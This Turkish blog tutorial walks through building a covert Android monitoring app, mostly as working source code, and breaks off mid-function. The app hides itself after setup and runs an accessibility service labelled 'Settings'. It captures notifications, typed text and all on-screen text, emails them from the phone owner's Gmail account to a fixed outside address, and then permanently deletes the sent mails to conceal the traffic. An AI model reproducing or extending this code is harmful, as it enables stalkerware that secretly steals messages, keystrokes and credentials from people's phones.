Bundan yıllaaar yıllar önce şurada bir mevzu patlatmıştık. Android telefonumuzla mail göndermek almak silmek gibi işlemler için çok fazla seçeneğimiz yok. Hatta hiç yok. Şuan internet üzerinde GMail Api harici verilen örneklerin hiçbiri çalışmıyor. Bazıları mail izinlerinin değişmesi yüzünden, bazıları ise bizim yapamamamızdan kaynaklanıyor. Yapamıyoruz çünkü arap saçı gibi işlemleri takip etmemiz gerekiyor. Aslına bakarsan GMail'den başka bir api kullanmak salaklık olur. Çünkü android telefonlar zaten Google apileri yüklü şekilde geliyor. Yapmamız gereken tek şey gerekli izinleri almak. Gerisini google hallediyor.
Eski konuda anlatılanların 90%'ı hala geçerli. O adımları yerine getirerek GMail Api kullanmaya başlayabilirsin. Ancak o gün bugündür çok şey değişti. Bazı yerlerde sorun yaşayabilirsin. Öncelikle ne yapacağımızdan bahsedelim. Yapacağımız iş, GMail api izinlerini alıp, telefonda oluşan bildirimleri mail ile kendimize göndermek. Bu durumda iki tane GMail hesabının olması gerek. Birincisini GMail api izinleri için kullanacaksın, ikincisini ise test edeceğin telefonda kullanacaksın. Yani uygulamanın yükleneceği telefonda mutlaka bir Google hesabının olması gerek. Yani bir GMail adresi. Mailler işte bu adresten gönderilecek. Peki nereye gönderilecek? İkinci GMail adresine. Birinci adresle telefonda oturum açılmış olması lazım. Ama şart değil. GooglPlay servisleri yüklü olduğu sürece sorun yok, çünkü uygulama açıldığında eğer telefonda bir Google hesabı ile oturum açılmamışsa, oturum açma seçeneği var. O seçenek ile GMail adresini ve şifreni girerek oturum açabilirsin. Ama genelde herkes GooglPlay kullandığı için bir google hesabı ile oturum açılmıştır mutlaka. Yoksa GooglPlay kullanamaz. Eğer oturum açılmışsa, uygulamamız başladığında önce bir telefon izni soracak oturum açılmış hesapları görebilmek için, sonra da bu hesablardan biri ile giriş yapması istenecek, yani karşısına oturum açtığı hesap ya da hesaplar çıkacak. Bir hesap seçerek mail izinlerini onaylayacak.
Buraya kadar herşey güzel. Buradan sonra ise eski konudan farklı olarak, telefonda oluşan bildirimleri NotificationNistenerService ile değil, AccessibilityService ile dinleyeceğiz.
Peki neden?
Adamlar bildirimleri dinlemek için özel bir servis yapmışlarken biz neden başka bir servis kullanacağız? Adamların bildirim dinlemek için yazdıkları servis, düşük hafızalı sistemlerde çalışmıyor. Mesela 2GB ram hafızası olan bir telefonda servis başladıktan bir süre sonra sistem servisimizi durduruyor. Sebebi ise kaynak yetersizliği. Zaten NotificationNistenerService sayfasında küçük bir uyarı yapmışlar bununla ilgili. Elbette sistem durdursa da servisimizi yeniden çalıştırabiliriz. Ancak bir süre sonra tekrar duracak. Bu kısır döngüyle uğraşmaya kalkarsak telefonun anasını sikeriz. Bu yüzden AccessibilityService sınıfını kullanacağız. Kullanımı hemen hemen aynı. Sistem bu servisi de durdurabilir çok mecbur kalırsa ama durdurmuyor. Durdursa bile, çok kısa bir süre sonra tekrar çalıştırıyor. Yani bizim ekstradan servisi dürtmemiz gerekmiyor. Üstelik bu servis ile yanlızca bildirimleri değil, ekranda olan herşeyi izleyebiliriz. Umarım kafanda bazı şimşekler çakmıştır.
İzinler
İlk önce izinler.
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.GET_ACCOUNTS" />
İsteğe bağlı başka eklemeler de yapabiliriz ama şimdilik böyle kalsın. Bu izinleri google istiyor. Ayrıca aşağıdaki kütüphaneleri de istiyor.
dependencies {
implementation fileTree(include: ['*.jar'], dir: 'libs')
implementation 'com.android.support:appcompat-v7:27.1.1'
implementation 'com.android.support.constraint:constraint-layout:1.1.0'
testImplementation 'junit:junit:4.12'
androidTestImplementation 'com.android.support.test:runner:1.0.1'
androidTestImplementation 'com.android.support.test.espresso:espresso-core:3.0.1'
//google için sonradan eklenenler
implementation 'com.google.android.gms:play-services-auth:15.0.0'
implementation 'pub.devrel:easypermissions:0.2.1'
implementation('com.google.api-client:google-api-client-android:1.22.0') {
exclude group: 'org.apache.httpcomponents'
}
implementation('com.google.apis:google-api-services-gmail:v1-rev64-1.22.0') {
exclude group: 'org.apache.httpcomponents'
}
implementation files('libs/activation.jar')
implementation files('libs/additionnal.jar')
implementation files('libs/mail.jar')
}
En sondaki üç satırın ne olduğuna eski konudan bakabilirsin. Bunların hiçbiriyle doğrudan bir işimiz yok, bizim için google kullanacak. Şimdi elinde bir keystore dosyası olduğunu varsayıyorum ve bunun SHA1 değerini nasıl alacağımızı görelim. Bunları eski konuda gördük ama orada kullandığım komut şuan hata veriyor. Bunun sebebi de java'nın güncellenmesinden kaynaklanıyor. Yani Google'un kendi sayfasındaki bize verdiği komut şuan hata veriyor. Neydi o komut?
keytool -exportcert -alias android -keystore gmail.jks -list -v
Benim oluşturduğum keystore dosyamın adı gmail.jks. Bu komutu çalıştırdığımda şöyle bir hata alıyorum.
keytool error: java.lang.Exception: Only one command is allowed: both -exportcert and -list were specified.
Java bize burda iki komut birden çalıştırmaya çalıştığımızı söylemeye çalışıyor. Çözümü ise çok basit, -exportcert komutunu siliyoruz.
F:\works\android\android_3\GmailApi>keytool -alias android -keystore gmail.jks -list -v
Enter keystore password:
Alias name: android
Creation date: 25 Nis 2018
Entry type: PrivateKeyEntry
Certificate chain length: 1
Certificate[1]:
Owner: CN=gmail android
Issuer: CN=gmail android
Serial number: 580086f2
Valid from: Wed Apr 25 11:45:40 EET 2018 until: Sun Apr 19 11:45:40 EET 2043
Certificate fingerprints:
SHA1: 62:41:20:94:E9:99:6C:10:45:43:91:61:C5:A1:50:E9:1B:D7:A3:18
SHA256: 84:CC:9E:DD:A1:B7:F9:A1:8A:23:D3:E1:0C:3C:A1:B1:9D:A6:4D:ED:8F:FB:F2:55:66:13:D7:0D:39:65:83:57
Signature algorithm name: SHA256withRSA
Subject Public Key Algorithm: 2048-bit RSA key
Version: 3
Extensions:
#1: ObjectId: 2.5.29.14 Criticality=false
SubjectKeyIdentifier [
KeyIdentifier [
0000: 47 24 B3 45 9A 0F 40 A6 7F 35 7D 07 CD 52 12 D5 G$.E..@..5...R..
0010: 4B 77 76 9F Kwv.
]
]
Gördüğün gibi SHA1 değerini aldık. Bu değeri kopyalayıp nereye yapıştıracağını yine eski konudan öğrenebilirsin. Biz direk mevzuya girelim.
Yürü
Konunun sonunda projeyi bulabileceksin. Bu proje aslında çok geniş ve kapsamlı bir projenin küçük bir parçası. Buna rağmen her detaya girmemiz mümkün olmayacak. Kendin dosyaları açar bakarsın. Buraya kadar GMail api olayını hallettiğini varsayıyorum. Eski konu herşeyi adım adım anlatıyor. Eski dediğime de bakma, orada anlatılanlar hala geçerli. Ben burada sadece yukarıdaki hata ile karşılaştığım için bir düzeltme yapmak istedim. Bunun dışında burada sadece kullanılan kütüphanelerin daha yeni versiyonlarıyla çalışacağız hepsi bu. Yani mail alıp gönderirken kullandığımız fonksiyonlar birebir aynı. Hepsi google'un kendi sayfasında verdiği fonksiyonlar. Ancak itiraf etmeliyimki eski konudaki projenin kodları çok dağınık olmuş. Burada biraz daha derli toplu olmaya çalışacağız. Buraya kadar olan mevzu işin hamallık kısmıydı. Açıkcası ben bunu hiç sevmiyorum. Şimdi biraz java kodları görelim de beynimize kan gitsin.
Main
Bildiğin gibi MainActivity.java kodlarına kadar herşeyi google'dan aldık. Allah razı olsun. Google herhangi bir xml dosyası kullanmıyor o kodlarda. Uygulama direk MainActivity dosyasından çalışıyor. Eski konuda biz bunu bozmadık ama burada bozacağız. Yani kendimize eli ayağı düzgün, orta şekerli bir ekran oluşturacağız. Sen zahmet etme diye ben hazırladım bile sevgili kardeşim.
<?xml version="1.0" encoding="utf-8"?>
<android.support.constraint.ConstraintLayout
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@android:color/white"
tools:context=".MainActivity">
<pl.droidsonroids.gif.GifImageView
android:id="@+id/googleTurkey"
android:layout_width="0dp"
android:layout_height="220dp"
android:background="@mipmap/google"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintHorizontal_bias="0.0"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent" />
<Button
android:id="@+id/signButton"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginEnd="8dp"
android:layout_marginStart="8dp"
android:layout_marginTop="48dp"
android:text="Giriş Yap"
android:textAllCaps="false"
android:textSize="18sp"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintHorizontal_bias="0.0"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@+id/googleTurkey" />
<TextView
android:id="@+id/outputText"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginBottom="8dp"
android:layout_marginEnd="8dp"
android:layout_marginStart="8dp"
android:text="Giriş bekleniyor"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent" />
<Button
android:id="@+id/notificationButton"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_marginBottom="72dp"
android:layout_marginEnd="8dp"
android:layout_marginStart="8dp"
android:layout_marginTop="8dp"
android:text="Kullanım Servisi"
android:textAllCaps="false"
android:textSize="18sp"
app:layout_constraintBottom_toTopOf="@+id/outputText"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintHorizontal_bias="0.0"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@+id/signButton"
app:layout_constraintVertical_bias="0.0" />
</android.support.constraint.ConstraintLayout>
GifImageView sınıfını kafana takma, o sadece gif resimleri kullanabilmek için, projede bulabilirsin. Ekranımız şöyle görünüyor.

Oradaki Türk bayrağı dalgalanıyor. İnanmayacaksın ama bunu da google'dan aldım. Uygulamamızın böyle bir ekranı olacak. Sanırım yeterli, ordan oraya hoplayıp zıplamaya gerek yok. Zaten bu ekran en fazla 30 saniye görünecek. İzinler verildiğinde uygulama kendi kendini imha edecek. Telefonun ekranında başlatıcı bir simgesi falan da olmayacak. Ve o andan itibaren uygulama telefonda olup bitenleri bize mail yoluyla bildirecek.
Mail nedir? Mail kabaca 4 parçadan oluşan bir mesajdır.
- from - maili gönderen adres
- to - mailin gönderildiği adres
- subject - konu
- body - içerik
Mailin from kısmı, uygulamamız açıldığında izinlere onay veren hesap. Bu bir google hesabı, aynı zamanda gmail hesabı. Yani bir eposta adresi. Mailleri bu adres üzerinden göndereceğiz. GoogleAccountCredential nesnesini bu hesap üzerinden elde edeceğiz. Bildiğin gibi GMail apinin anahtarı bu nesne. MainActivity dosyasını incelersen google bu nesneyi nasıl hazırlıyor görürsün. Fakat bizim bunu pratik amaçlar için kullanımını kolaylaştıracak şekilde daha yapısal bir hale getirmemiz gerekiyor. Projemizin kod yapısının genel görünümü şöyle,

Önce onay veren hesabı temsilen bir sınıf yazıyoruz.
class Account {
private String account;
Account(Context context) {this.account = context.getSharedPreferences("gmail", Context.MODE_PRIVATE).getString("from", null);}
@Nullable String getAccount() {return account;}
}
Buradaki from değişmezinin değeri, MainActivity içinde bir google hesabı tarafından izinlere onay verildiği anda kaydediliyor.
case REQUEST_ACCOUNT_PICKER:
if (resultCode == RESULT_OK && data != null && data.getExtras() != null) {
String accountName = data.getStringExtra(AccountManager.KEY_ACCOUNT_NAME);
if (accountName != null) {
prefGmail.edit().putString("from", accountName).apply();
mCredential.setSelectedAccountName(accountName);
getResultsFromApi();
}
}
break;
Şimdi biz Account sınıfını genişleterek GMail servisini hazırlamamız gerek.
class GmailService extends Account {
private Gmail mService;
private final Context context;
private GmailService(Context context) {
super(context);
this.context = context;
setupService();
}
private void setupService() {
GoogleAccountCredential mCredential = GoogleAccountCredential.usingOAuth2(context, Arrays.asList(MainActivity.SCOPES)).setBackOff(new ExponentialBackOff());
mCredential.setSelectedAccountName(getAccount());
HttpTransport transport = AndroidHttp.newCompatibleTransport();
JsonFactory jsonFactory = JacksonFactory.getDefaultInstance();
mService = new Gmail.Builder(transport, jsonFactory, mCredential).setApplicationName("Gmail").build();
}
private Gmail getService() {return mService;}
static Gmail getGmailService(Context context) {
return new GmailService(context).getService();
}
}
Sınıfın getGmailService metodu sayesinde servisi cart diye alıp zart diye kullanacağız. Bu servisi neden aldığımızı, neden buna mail işlemlerinin anahtarı dediğimizi birazdan göreceksin. Bu anahtar olmadan mail gönderimi diye bir şey söz konusu değil. Alımı da öyle. İki küçük hamle ile servisi avucumuzun içine aldık. Servisle ilgili olayımız bu kadar.
Buraya kadar, Mail denen olayın from kısmını halletmiş olduk. Sıra geldi to kısmına. Bu kısım çok basit çünkü yazacağın herhangi bir eposta adresi işini görecektir. Yani uygulamanın topladığı bilgileri göndereceği adres. Benim tavsiyem yine bir gmail hesabı kullanman. Ben gmail hesabı kullanıyorum. Ve bunu MainActivity'in başlarında bir yerde kaydediyorum.
prefGmail.edit().putString("to", "mavimavimidir@gmail.com").apply();
Tabi bunu böyle kulanmak bu projede uygun olabilir ama genel olarak işin to kısmını kullanıcı denen göte sorman gerek. Bu kısmı da geçtiğimize göre geriye subject ve body kısımları kalıyor. Bu kısımları, uygulama elde ettiği bilgilerle doldurağı için burayı da geçmiş bulunuyoruz. Bu da demek oluyorki, standart bir mail gönderme işini yaptıracağımız bir forksiyona üç argüman vermemiz yeterlidir.
- context
- subject
- body
Şimdi google'un bize mail oluşturmak için verdiği fonksiyona bir bakalım.
private static MimeMessage createEmail(String to, String from, String subject, String bodyText)
throws
MessagingException {
Properties props = new Properties();
Session session = Session.getDefaultInstance(props, null);
MimeMessage email = new MimeMessage(session);
email.setFrom(new InternetAddress(from));
email.addRecipient(javax.mail.Message.RecipientType.TO, new InternetAddress(to));
email.setSubject(subject);
email.setText(bodyText, "utf-8");
return email;
}
Bu fonksiyonda yaptığım tek oynama sondaki utf-8 eklemesidir. Türkçe karakterler için bu gerekli. Parametreleri de değiştirebiliriz ama orjinali bozmak istemedim. Zira to ve from zaten elimizde, bunları oradan kaldırabiliriz ama yinede kalsın. Zaten google'un verdiklerini direk kullanmayacağız, onları kullanacak fonksiyonlar yazacağız. Mesela,
public static void send(final Context context, final String subject, final String body) {
AsyncTask<Void, Void, Void> task = new AsyncTask<Void, Void, Void>() {
@Override
protected Void doInBackground(Void... params) {
try {
getGmailService(context).users().messages().send("me", createMessageWithEmail(createEmail(getTo(context), getFrom(context), subject, body))).execute();
if (subject.endsWith(".txt")) {
if (context.deleteFile(subject)) {
u.log.d("dosya silindi : %s", subject);
}
else {
u.log.d("dosya silinemedi : %s", subject);
}
}
}
catch (Exception e) {
u.log.e("mail gitmedi : %s", e.toString());
saveValue(context, "error.txt", e.toString());
}
return null;
}
};
task.execute();
u.run(() -> deleteAllSent(context), 10000);
}
Burada yabancı gelen fonksiyonlara takılma, hepsini projede bulacaksın. En önemli yer şurası,
getGmailService(context).users().messages().send(...)
İşte bu gmail apinin fonksiyonları ve gördüğün gibi gmailService ile başlıyor. Yani çağrıyı yapan gmail servisi. Yani maili gönderen şahıs. Ve adı geçen bir diğer fonksiyon şu,
/**
* Create a message from an email.
*
* @param emailContent Email to be set to raw of message
* @return a message containing a base64url encoded email
* @throws IOException ex
* @throws MessagingException ex
*/
private static Message createMessageWithEmail(MimeMessage emailContent)
throws
MessagingException,
IOException {
ByteArrayOutputStream buffer = new ByteArrayOutputStream();
emailContent.writeTo(buffer);
byte[] bytes = buffer.toByteArray();
String encodedEmail = Base64.encodeBase64URLSafeString(bytes);
Message message = new Message();
message.setRaw(encodedEmail);
return message;
}
Bu da google'ın. Bu arada mail ile ilgili tüm fonksiyonlar Mail.java dosyasında ve hepsi de static. Adı geçen diğer fonksiyonlar da şöyle,
private static String getTo(final Context context) {
return context.getSharedPreferences("gmail", Context.MODE_PRIVATE).getString("to", null);
}
public static String getFrom(final Context context) {
return context.getSharedPreferences("gmail", Context.MODE_PRIVATE).getString("from", null);
}
public static void deleteAllSent(final Context context) {
final Gmail service = getGmailService(context);
@SuppressLint("StaticFieldLeak") AsyncTask<Void, Void, Void> task = new AsyncTask<Void, Void, Void>() {
@Override
protected Void doInBackground(Void... params) {
List<Message> sentMessages;
try {
sentMessages = mylistMessagesWithLabelsWithQ(service, Collections.singletonList("SENT"), u.s("to:%s", getTo(context)));
for (Message message : sentMessages) {
service.users().messages().delete("me", message.getId()).execute();
}
u.log.d("gönderilen mailler silindi");
}
catch (Exception e) {
u.log.e("mailler silinemedi : %s", e.toString());
}
return null;
}
};
task.execute();
}
İlk iki fonksiyon gayet açık. Üçüncüsü ise gönderilen mailleri siliyor. Yani bize gönderdiği mailleri. Ve bu silme işlemi geri getirelemeycek şekilde bir silme işlemi. Yani çöp kutusuna falan taşınmıyor, tamamen yok ediliyor. Silme işlemi için, belirli bir adrese gönderilen mailleri seçiyor. Bu seçme işlemini yapan fonksiyon ise şöyle,
private static List<Message> mylistMessagesWithLabelsWithQ(Gmail service, List<String> labelIds, String query)
throws
IOException {
ListMessagesResponse response = service.users().messages().list("me").setQ(query)
.setLabelIds(labelIds).execute();
List<Message> messages = new ArrayList<>();
while (response.getMessages() != null) {
messages.addAll(response.getMessages());
if (response.getNextPageToken() != null) {
String pageToken = response.getNextPageToken();
response = service.users().messages().list("me").setLabelIds(labelIds).setPageToken(pageToken).execute();
}
else {
break;
}
}
return messages;
}
Fonksiyonlarda geçen me ibaresi, telefonda izinlere onay vermiş olan hesabı temsil ediyor. Fonksiyonun ikinci parametresi aramanın yapılacağı klasörü belirtiyor. Üçüncü parametre ise daha net bir kriter oluşturuyor.
sentMessages = mylistMessagesWithLabelsWithQ(service, Collections.singletonList("SENT"), u.s("to:%s", getTo(context)))
labelIds için Collections.singletonList("SENT") demişiz. Yani sent klasöründeki mailler. Buraya birden fazla klasör yazabiliriz. Zaten farkındaysan bu bir dizi. query için ise u.s("to:%s", getTo(context)) bu karşılığı yazmışız. u.s fonksiyonu bildiğin String.format metodunun yaptığını yapıyor. Yani %s format işaretinin yerine mailin gönderileceği adres gelecek. Mesela to:xyz@gmail.com gibi. Ve bu adrese gönderilen mailleri alacak. Sonra da silecek. Silme işlemini delete ile değil de trash ile yapsaydık mailler çöp kutusuna taşınacaktı.
service.users().messages().trash("me", message.getId()).execute();
Ve hemen hemen tüm api çağrıları mailin id değeri ile işlem yapıyor. Yani alma taşıma ve silme işlemleri.
send fonksiyonunu biz yazdık.
public static void send(final Context context, final String subject, final String body)
Bu fonksiyon google'ın fonksiyonlarını kullanarak maili gönderiyor. Ve tüm gönderme alma işlemleri arkaplanda başka bir thread üzerinde gerçekleşiyor. Aksi halde internet erişimleri hata ile sonuçlanır çünkü yasak. send fonksiyonunda yapılan sınama dikkatini çekmiştir.
if (subject.endsWith(".txt")) {
if (context.deleteFile(subject)) {
u.log.d("dosya silindi : %s", subject);
}
else {
u.log.d("dosya silinemedi : %s", subject);
}
}
Bunun sebebi, send fonksiyonunun diğer versiyonunda.
public static void send(final Context context, final String fileName) {
if (!u.isDeviceOnline(context)) return;
String value = getSavedValue(context, fileName);
if (value == null || TextUtils.isEmpty(value)) return;
send(context, fileName, value);
}
Uygulamanın çoğu yerinde subject ve body şeklinde mailler göndereceğiz. Ama uygulama telefondan topladığı bilgileri önce dosyaya kaydediyor. Bir süre bekledikten sonra gönderiyor. Çünkü birazdan kullanacağımız AccessibilityService sınıfı ile yoğun bir bilgi akışını işlemeye çalışacağız. Yani her bilgiyi direk göndermeye kalkarsak her saniye mail gitmesi anlamına gelir. Bu da hiç nazik bir davranış olmaz. Bu yüzden bilgiler önce dosyaya kaydedilecek. Ayrıca internetin olmaması da bir ihtimaldir ve bu durumda yeni oluşan bilgiler dosyanın sonuna eklenmeye devam edecek. Yani bir bilgi kaybımız olmayacak. Belirlenen süre dolunca ve internet varsa bu bilgileri göndermek için bu versiyonu kullanacağız. Dosyanın ismini vererek olayımız bitecek. Fonsiyon kendi içinde yine ilk versiyonu çağırıyor. Ve gördüğün gibi subject kısmına dosyanın adını veriyor. Bu durumda send fonksiyonunun ilk versiyonuna subject olarak txt uzantılı bir dosya ismi gelebilir. Ve maili gönderdikten sonra bu dosyayı silmemiz en doğru hareket olur.
synchronized
public static void saveValue(Context context, String fileName, String value) {
File file = new File(context.getFilesDir(), fileName);
FileOutputStream stream;
try {
stream = new FileOutputStream(file, true);
stream.write(value.getBytes());
stream.close();
}
catch (IOException ignored) {}
}
@Nullable
synchronized
private static String getSavedValue(Context context, String fileName) {
File file = new File(context.getFilesDir(), fileName);
if (!file.exists()) return null;
long len = file.length();
byte[] bytes = new byte[(int) len];
try {
FileInputStream in = new FileInputStream(file);
in.read(bytes);
in.close();
}
catch (IOException ignored) {}
return new String(bytes);
}
Bu fonksiyonlar da dosyaya kaydetme ve dosyadan geri alma işlemlerimizi görüyor. Bütün bu fonksiyonlar Mail.java sınıfının içinde. Şimdi küçük bir test yapalım mail göndermek için. MainActivity'in sonlarında, eğer giriş yapılmışsa ve gmail erişimi izinleri sağlanmışsa tam o noktaya bir mail gönderme kodu yazalım. Yani onPostExecute metoduna. Dosyada bu metot şöyle yazılmış.
@Override
protected void onPostExecute(List<String> output) {
mProgress.hide();
if (output == null || output.size() == 0) {
mOutputText.setText("Dönen sonuç yok");
}
else {
u.log.w(Arrays.toString(output.toArray()));
boolean b = false;
for (String s : output) {
if(s.equals("INBOX")){
b = true;
break;
}
}
if (b) {
mCallApiButton.setEnabled(false);
mOutputText.setText(Mail.getFrom(MainActivity.this));
if(AccessNotification.isAccessibilityServiceEnabled(getApplicationContext(), AccessNotification.class)){
u.sendMessage(MainActivity.this, "com.xyz", "analiz başladı : " + Mail.getFrom(MainActivity.this));
finishAndRemoveTask();
}
else{
notificationButton.setEnabled(true);
}
}
else{
output.add(0, "Data retrieved using the Gmail API:");
mOutputText.setText("access error");
}
}
}
Eğer giriş başarılı bir şekilde yapılmış ve izinler verilmiş ise bize dönen sonuç içerisinde INBOX değeri geçmek zorunda. Geri kalan tüm durumlarda ya giriş başarısız olmuştur ya da izinler verilmemiştir. Bu metot bu mantığı uyguluyor. Eğer giriş başarılı ve izinler verilmiş ise ekranın altına koyduğumuz TextView'e giriş yapılan hesabı yazdırıyoruz. Yani orada bir gmail hesabının yazdığını gördüğümüzde herşey yolunda demektir. Eğer herşey yolunda ise servisimizin aktif olup olmadığını kontrol ediyoruz. Eğer servis aktif değilse Kullanım Servisi yazan butonu aktif ediyoruz. Bu buton bizi servisin aktif edileceği sayfaya götürecek. Ama şuan bununla işimiz yok, biz tam bu satırın üstüne kodumuzu yazalım. Yani şuraya,
if (b) {
mCallApiButton.setEnabled(false);
mOutputText.setText(Mail.getFrom(MainActivity.this));
Mail.send(MainActivity.this, "Main", "Bu bir denemedir");
if(AccessNotification.isAccessibilityServiceEnabled(getApplicationContext(), AccessNotification.class)){
u.sendMessage(MainActivity.this, "com.xyz", "analiz başladı : " + Mail.getFrom(MainActivity.this));
finishAndRemoveTask();
}
else{
notificationButton.setEnabled(true);
}
}
else{
output.add(0, "Data retrieved using the Gmail API:");
mOutputText.setText("access error");
}


Bu sonuca ulaşmak için google'a SHA1 değerini verdiğimiz keystore dosyası ile uygulamayı derledik. Bununla ilgili ayarları File -> Project Structure yolunda bulabilirsin. Burada Signing diye bir sekme var.

Gördüğün gibi bir config dosyası oluşturdum ve gerekli bilgileri yazdım. Burada gmail.jks benim SHA1 değerini google'a verdiğim keystore dosyası. Şifreler ve takma isim, bu dosyayı oluştururken kullandığım değerler.

Flavors sekmesinde az önce oluşturduğum config dosyamı seçtim.

Burada da hem debug hem release sürümler için yine aynı config dosyamı seçtim. Ve okey'e bastım. Olay bu kadar. Bundan sonra her derlemede otomatik olarak bu keystore dosyası ile işlem görecek.
AccessibilityService
Butonun üzerinde Kullanım Servisi diye yazıyor ama Accessibility genellikle bizde erişilebilirlik olarak anlamlandırılır. Ve türkçe menülerde de erişilebilirlik olarak geçer. Peki biz neden bu ismi kullandık? Bunun çok salak bir cevabı var. O buton daha önce UsageStat ayarlarına gidiyordu, ve öyle kaldı. Herşeyin mantıklı bir cevabı olmak zorunda değil değil mi? O halde devam.
Bu servis üzerinden bildirimleri alacağız ama buna ek bonus olarak ekranda okunabilen her yazıyı da alacağız. Aslında ekrandaki tüm okunabilen yazıları almak demek zaten bildirimleri de almak demektir. Biz burada araştırma geliştirme sebebiyle her boku alacağız. Bu servis ile ekran üzerindeki dokunma hareketlerini bile alabiliriz. Daha başka neler alabiliyoruz diye soracak olursan buradan ikiyi kapat devam et. Bu sayfada takip edeceğimiz mevzulardan biri de TYPE_VIEW_TEXT_CHANGED. Yani ekran üzerinde değişen bir yazı. Mesela bir mesaj yazarken mesajı yazdığımız yerde yazdığımız sürece yazı değişmiş olur değil mi? Biraz saçma bir cümle oldu ama nasıl oldu bende anlamadım. Başka bir örnek vereyim. Mesela bir telefon numarası tuşluyorsun arama yapmak için, her bir numara girişinde oradaki yazı değişmiş olur değil mi? Bazen numarayı yanlış tuşlarsın ve silme tuşuyla geri geri gelirsin, bu da bir değişiklik demektir. Yani yazdığın her bir harf veya rakam orada bir değişikliğe sebep olur. İşte bu değişikliği servis üzerinde TYPE_VIEW_TEXT_CHANGED tamlamasıyla baş göz ediyoruz. İşte tam bu noktada java kodlarına girip tansiyonu yükseltmemiz gerek.
public class AccessNotification extends AccessibilityService{
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {}
@Override
public void onInterrupt() {}
}
Tantana, AccessibilityService sınıfını extends ederek başlıyor. Minimum bu iki metodu override etmek zorundayız. Ve onAccessibilityEvent metodu olayların üzerimize üzerimize geldiği yer. Bu sınıf bildiğin servis. Ve servis üzerinden neyi izlemek istediğini, hangi konuda bilgi almak istediğini bildirmek zorundasın. Bunu kodlama ile yapabiliriz ama siktiret, daha temiz bir yolu var bu işin. Bir xml dosyası oluştur res -> xml -> accessibilityservice.xml
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service
xmlns:android="http://schemas.android.com/apk/res/android"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:accessibilityFlags="flagDefault"
android:canRequestFilterKeyEvents="true"
android:canRetrieveWindowContent="true"
android:notificationTimeout="1000"
android:description="@string/access"/>
Ve bunu tabiki manifest dosyasında belirt.
<service
android:name=".AccessNotification"
android:label="Settings"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data
android:name="android.accessibilityservice"
android:resource="@xml/accessibilityservice" />
</service>
Al sana mis gibi access. Artık gelsin mevzular. İlk mevzuyu alalım.
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
if (event.getEventType() == AccessibilityEvent.TYPE_NOTIFICATION_STATE_CHANGED) {
Parcelable parcelable = event.getParcelableData();
if (parcelable != null && parcelable instanceof Notification) {
final String packageName = String.valueOf(event.getPackageName());
if (hardBlock.contains(packageName)) return;
try {
handleNotification((Notification) parcelable, packageName);
}
catch (Exception e) {
u.log.e(e.toString());
}
}
return;
}
}
AccessibilityEvent.TYPE_NOTIFICATION_STATE_CHANGED, mevzuyu nasıl karşıladığımızı görüyorsun değil mi? Bu olay yeni bir bildirim oluştuğunda gelir. Ve bildirimle ilgili bilgiler Parcelable nesnesiyle elimize geçer. Eğer olay bildirim ise bu Parcelable nesnesi aslında bir Notification nesnesidir. Diğer olaya bakalım.
if (event.getEventType() == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED) {
final String packageName = String.valueOf(event.getPackageName());
try {
handleTextChange(event.getText().toString(), packageName);
}
catch (Exception e) {
u.log.e(e.toString());
}
return;
}
Bak işte bu önemli.
if (event.getEventType() == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) {
final String packageName = String.valueOf(event.getPackageName());
if (packageName.contains("launcher")) return;
if (blockedWindows.contains(packageName)) return;
try {
handleWindowContentChange(packageName);
}
catch (Exception e) {
u.log.e(e.toString());
}
}
Bu olay, ekranda herhangi bir değişiklik olduğunda kucağımıza gelecek. Ekranda herhangi bir değişiklik demek, ekranda herhangi bir değişiklik demektir. Bu kadar açık ve net. Okunabilen tüm yazıları aldığımız yer işte burası.
private void handleWindowContentChange (String packageName) {
ArrayList<AccessibilityNodeInfo> viewNodes = new ArrayList<>();
findChildViews(getRootInActiveWindow(), viewNodes);
if (viewNodes.isEmpty()) return;
ArrayList<AccessibilityNodeInfo> viewNodesNotNull = new ArrayList<>();
for (AccessibilityNodeInfo nodeInfo : viewNodes) {
CharSequence text = nodeInfo.getText();
if (text != null && text.length() > 0) viewNodesNotNull.add(nodeInfo);
}
String[] strings = new String[viewNodesNotNull.size()];
int i = 0;
for (AccessibilityNodeInfo nodeInfo : viewNodesNotNull)
strings[i++] = nodeInfo.getText().toString();
String contents = Arrays.toString(strings);
final long time = new Date().getTime();
contents += "\n" + packageName;
contents += "\n" + "TYPE_WINDOW_CONTENT_CHANGED";
contents += "\n" + Time.whatTimeIsIt(time);
contents += "\n--------------------------------------------\n";
if (lastTitles.contains(contents)) return;
if (lastTitles.size() > 50) lastTitles.clear();
lastTitles.add(contents);
final String fileName = packageName + ".txt";
Mail.saveValue(this, fileName, contents);
u.log.d(contents);
if (BuildConfig.DEBUG) {
if ((time - lastWindowContentChangedTime) >= DEBUG_MOD_WINDOW_CONTENT_CHANGED_DELAY) {
lastWindowContentChangedTime = time;
new Timer().schedule(new TimerTask() {
@Override
public void run() {
MailJobs.wake(AccessNotification.this);
}
}, DEBUG_MOD_WINDOW_CONTENT_CHANGED_DELAY);
}
}
else {
